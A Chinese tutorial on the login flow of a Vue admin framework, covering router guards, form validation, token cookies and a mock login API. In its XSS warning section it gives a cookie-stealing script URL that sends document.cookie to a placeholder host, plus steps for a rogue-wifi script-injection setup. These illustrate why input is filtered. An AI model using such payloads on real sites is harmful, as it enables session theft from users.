《一步步带你做vue后台管理框架》——登录功能

系列教程《一步步带你做vue后台管理框架》第三课

github地址:vue-framework-wz
线上体验地址:立即体验

《一步步带你做vue后台管理框架》第一课:介绍框架
《一步步带你做vue后台管理框架》第二课:上手使用
《一步步带你做vue后台管理框架》第三课:登录功能

认证简介

认证又称“验证”、“鉴权”,是指通过一定的手段,完成对用户身份的确认。身份验证的方法有很多,基本上可分为:基于共享密钥的身份验证、基于生物学特征的身份验证和基于公开密钥加密算法的身份验证。

登录鉴权功能是后台管理项目的基本需求,登录控制,权限分配,这些都是很普遍的功能。 在框架中已经做好了这部分的工作,我们来了解一下是怎么做的,对以后在框架的基础上做改进是有很大的帮助的。

Passport

在此之前思考过很多种方法去做登录功能,一种比较靠谱的方法是用一个Node服务端,利用Node+express+passport的技术栈

Passport项目是一个基于Nodejs的认证中间件,支持本地登录和第三方账号登录验证。Passport目的只是为了“登陆认证”,因此,代码干净,易维护,可以方便地集成到其他的应用中。

Web应用一般有2种登陆认证的形式:

  • 用户名和密码认证登陆
  • OAuth认证登陆

Passport可以根据应用程序的特点,配置不同的认证机制。
  项目网站:http://passportjs.org/

Passport是十分强大的,这个技术栈也是非常靠谱的,但是我们就一个纯前端框架,需要再做一个Node的服务端吗?维护起来显然增加了我们的负担

况且违背了Unix哲学的'简单原则'----尽量用简单的方法解决问题----是'Unix哲学'的根本原则。这也就是著名的KISS(keep it simple, stupid),意思是'保持简单和笨拙'。。

既然这样不太好,那就使用单页应用强大的路由来做登录。

vue-router

如果对vue-router还不熟悉的同学一定要找尤大大课后开小灶了
官方文档:vue-router

你可以使用

 router.beforeEach

注册一个全局的 before 钩子:

const router = new VueRouter({ ... })router.beforeEach((to, from, next) => { // ...})

当一个导航触发时,全局的 before 钩子按照创建顺序调用。钩子是异步解析执行,此时导航在所有钩子 resolve 完之前一直处于 等待中。

每个钩子方法接收三个参数:

to: Route: 即将要进入的目标 [路由对象]

from: Route: 当前导航正要离开的路由

next: Function: 一定要调用该方法来 resolve 这个钩子。执行效果依赖 next 方法的调用参数。

    next(): 进行管道中的下一个钩子。如果全部钩子执行完了,则导航的状态就是 confirmed (确认的)。

    next(false): 中断当前的导航。如果浏览器的 URL 改变了(可能是用户手动或者浏览器后退按钮),那么 URL 地址会重置到 from路由对应的地址。

    next('/')或者 next({ path: '/' }): 跳转到一个不同的地址。当前的导航被中断,然后进行一个新的导航。

  确保要调用 next 方法,否则钩子就不会被 resolved。

所以wz框架采用的方式是使用vue router.beforeEach 拦截导航,判断登录与否和是否有权限,选择完成继续跳转或重定向到登录界面。

这篇教程分为两部分一部分讲登录,另一部分讲权限验证,因为篇幅太长所以需要用两篇来写。

登录流程

在客户端发送账号密码到服务端,服务端验证成功后返回token存储用户的权限,前端用Cookie把token存储在本地,在路由跳转(router.beforeEach)中判断是否存在token,另外前端可以通过token请求服务端获取userInfo,在vuex中存储着用户的信息(用户名,头像,注册时间等等)。

权限控制

就是在路由跳转(router.beforeEach)中判断token中的权限和要去往(to)页面的路由信息(router meta)中配置的权限是否匹配,同时我们的侧边栏也是根据权限动态生成的,当所登录的账号没有权限访问时,就不显示在侧边栏中(例如访客登录就无法看到编辑器的侧边栏选项),这样用户既看不到侧边栏选项,又无法直接访问到,双重控制更安全。

登录界面只有两个输入框,因为不是对外网站所以就没做注册功能。


login.vue

首先来看登录界面login.vue的逻辑。

src/views/login/index.vue

使用了iview的form表单,

autoComplete属性是自动填充默认值到输入框里,这里是用户名amdin@wz.com,

@keyup.enter.native="handleLogin"属性,当按下enter键时会自动触发handleLogin函数,不需要再点击登录按钮,符合日常登录习惯。
当输入账号密码点击登录按钮会触发handleLogin函数。
src/views/login/index.vue

其中的逻辑是,获取页面表单中的数据(账号密码)通过表格validate验证正确性,依照的规范就是我们在data属性中定义的。

 data() {
        const validateEmail = (rule, value, callback) => {
          if (!isWscnEmail(value)) {
            //export function isWscnEmail(str) {
            //const reg = /^[a-z0-9](?:[-_.+]?[a-z0-9]+)*@wz\.com$/i;
            //return reg.test(str.trim());
            //}
            callback(new Error('请输入正确的合法邮箱'));
          } else {
            callback();
          }
        };
        const validatePass = (rule, value, callback) => {
          if (value.length < 6) {
            callback(new Error('密码不能小于6位'));
          } else {
            callback();
          }
        };
        return {
          loginForm: {
            email: 'admin@wz.com',
            password: ''
          },
          loginRules: {
            email: [
                { required: true, trigger: 'blur', validator: validateEmail }
            ],
            password: [
                { required: true, trigger: 'blur', validator: validatePass }
            ]
          },
          loading: false,
          showDialog: false
        }
      },

账号密码必须填写,密码不能小于6位,账号必须是以wz.com结尾的电子邮箱地址, 或者可以定义更严密的规范。
如果不遵守制定的规范,将会无法登陆。

千万不要相信用户的输入!千万不要相信用户的输入!千万不要相信用户的输入!

除非你想遭受XSS攻击

如果有同学还不了解什么是XSS攻击,那么一定要赶快去了解。
下面敲黑板了!划重点!

XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。

其重点是“跨域”和“客户端执行”。有人将XSS攻击分为三种,分别是:

  1. Reflected XSS(基于反射的XSS攻击)
  2. Stored XSS(基于存储的XSS攻击)
  3. DOM-based or local XSS(基于DOM或本地的XSS攻击)

Reflected XSS
基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。
例子:

  1. 做个假设,在淘宝搜索书籍,搜不到书的时候显示提交的名称。
  2. 在搜索框搜索内容,填入<script>alert('handsome boy')</script>, 点击搜索。
  3. 当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。
  4. 进而可以构造获取用户cookies的地址,通过QQ群或者垃圾邮件,来让其他人点击这个地址:http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>

Stored XSS
基于存储的XSS攻击,是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。
例子:

  1. 发一篇文章,里面包含了恶意脚本
    今天天气不错啊!<script>alert('handsome boy')</script>

  2. 后端没有对文章进行过滤,直接保存文章内容到数据库。

  3. 当其他看这篇文章的时候,包含的恶意脚本就会执行。
    PS:因为大部分文章是保存整个HTML内容的,前端显示时候也不做过滤,就极可能出现这种情况。

DOM-based or local XSS
基于DOM或本地的XSS攻击。一般是提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。
例子:

  1. 提供一个免费的wifi。
  2. 开启一个特殊的DNS服务,将所有域名都解析到我们的电脑上,并把Wifi的DHCP-DNS设置为我们的电脑IP。
  3. 之后连上wifi的用户打开任何网站,请求都将被我们截取到。我们根据http头中的host字段来转发到真正服务器上。
  4. 收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户。
  5. 当注入的脚本被执行,用户的浏览器将依次预加载各大网站的常用脚本库。

所以一定要对用户的输入做一个过滤。否则后台都被别人给黑了,老板不炒你鱿鱼才怪。
当我们输入不正确的账号密码时将会自动验证(输入完立即验证而不是等到点击登录才验证),如果不正确将无法登录。



如果符合验证规则,则会触发vuex中的LoginByEmail

src/store/modules/user.js

import { loginByEmail, logout, getInfo } from 'api/login';

 LoginByEmail({ commit }, userInfo) {
      const email = userInfo.email.trim();
      return new Promise((resolve, reject) => {
        loginByEmail(email, userInfo.password).then(response => {
          const data = response.data;
          console.log(response.data);
          Cookies.set('Admin-Token', response.data.token);
          commit('SET_TOKEN', data.token);
          commit('SET_EMAIL', email);
          resolve();
        }).catch(error => {
          reject(error);
        });
      });
    },

把email和password发送到服务器,接受返回来的数据,将token存入 Cookies,并触发vuex SET_TOKEN及SET_EMAIL事件,存入到vuex全局状态里。
src/api/login.js loginByEmail

export function loginByEmail(email, password) {
  const data = {
    email,
    password
  };
  return fetch({
    url: '/login/loginbyemail',
    method: 'post',
    data
  });
}

发送fetch请求到指定的url。这里的url是本地服务器的地址,本项目因为是纯前端项目,所以使用了 mock.js。
有了这个插件,前端就可以独立后端开发。

Mock.mock(/\/login\/loginbyemail/, 'post', loginAPI.loginByEmail);

在mock.js中这行代码截获了所有/login/loginbyemail 路径的请求,使用loginAPI.loginByEmail处理这个请求

const userMap = {
  admin: {
    role: ['admin'],
    token: 'admin',
    introduction: '我是超级管理员',
    name: 'Super Admin',
    uid: '001'
  },
  editor: {
    role: ['editor'],
    token: 'editor',
    introduction: '我是编辑',
    name: 'Normal Editor',
    uid: '002'


  },
  developer: {
    role: ['develop'],
    token: 'develop',
    introduction: '我是开发',
    name: '工程师小王',
    uid: '003'
  }
}

export default {
  loginByEmail: config => {
    const { email } = JSON.parse(config.body);
      return userMap[email.split('@')[0]];
  },
  getInfo: config => {
    const { token } = param2Obj(config.url);
    if (userMap[token]) {
      return userMap[token];
    } else {
      return Promise.reject('a');
    }
  },
  logout: () => 'success'
};

可以看到loginByEmail的作用是把账户信息返回前端,例如一个用户是管理员,就把匹配到的admin的账户信息返回去。
当得到了admin的账户信息,就把它存储在cookie里
Cookies.set('Admin-Token', response.data.token);

这样一来在login.js中判断token是否存在,如果存在token,就继续路由跳转,如果不存在,就跳转到登录界面。
src/login.js

router.beforeEach((to, from, next) => {
  NProgress.start() // 开启Progress
  if (store.getters.token) { // 判断是否有token,从vuex中取出
    if (to.path === '/login') {
      next({ path: '/' })
    } else {
      if (store.getters.roles.length === 0) { // 判断当前用户是否已拉取完user_info信息
        store.dispatch('GetInfo').then(res => { // 拉取user_info
          const roles = res.data.role
          store.dispatch('GenerateRoutes', { roles }).then(() => { // 生成可访问的路由表
            router.addRoutes(store.getters.addRouters) // 动态添加可访问路由表
            next({ ...to }) // hack方法 确保addRoutes已完成
          })
        }).catch(() => {
          store.dispatch('FedLogOut').then(() => {
            next({ path: '/login' })
          })
        })
      } else {
        // 没有动态改变权限的需求可直接next() 删除下方权限判断 ↓
        if (hasPermission(store.getters.roles, to.meta.role)) {
          next()//
        } else {
          next({ path: '/', query: { noGoBack: true }})
        }
        // 可删 ↑
      }
    }
  } else {
    if (whiteList.indexOf(to.path) !== -1) { // 在免登录白名单,直接进入
      next()
    } else {
      next('/login') // 否则全部重定向到登录页
      NProgress.done() // 在hash模式下 改变手动改变hash 重定向回来 不会触发afterEach 暂时hack方案 ps:history模式下无问题,可删除该行!
    }
  }
})

src/store/modules/user.js

vuex中是这样定义的,相当于直接Cookies.get(),为什么要分开呢?显然是为了模块化,方便日后改动项目。

const user = {
  state: {
    user: '',
    status: '',
    email: '',
    code: '',
    uid: undefined,
    auth_type: '',
    token: Cookies.get('Admin-Token'),
    name: '',
    avatar: '',
    introduction: '',
    roles: [],
    setting: {
      articlePlatform: []
    }
  },

vuex会从cookies里面取得token的值,这样就能通过验证去往路由的下个页面。

大家有什么问题最好去我github提issues,文章评论评论较长时间才查看一次。

接下来的教程讲一下封装UI组件、router、webpack、node命令行构建工具等内容。
希望大家看了这系列教程都能制作出自己的前端框架,从而在工作中得心应手。

如果喜欢就点个start鼓励下作者吧。

github地址:vue-framework-wz
线上体验地址:立即体验

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,736评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,167评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,442评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,902评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,302评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,573评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,847评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,562评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,260评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,531评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,021评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,367评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,016评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,068评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,827评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,610评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,514评论 2 269

推荐阅读更多精彩内容

  • 完整项目地址:vue-element-admin系类文章一:手摸手,带你用vue撸后台 系列一(基础篇) 前言 拖...
    花裤衩coder阅读 10,613评论 4 65
  • 在那个我认为一切都不好的校园里,我带着暗淡忧伤在那生活下去,没有任何打动着我,每天都重复一样的事情,我厌倦了...
    无伤sa阅读 295评论 1 0
  • 你爱的人也是凡人,你的喜欢为他渡上金身。 我在微博上面看到过这句话,我一直都没有忘记,除了词句之美之外,我还有一点...
    苏叙阅读 186评论 4 11
  • 这篇发给那些上课不好好记笔记的同学们,留作复习用。 笔记 这些笔记都是我一边听一边记,然后再一个字一个字打上来的。...
    大帅拳霸阅读 605评论 0 0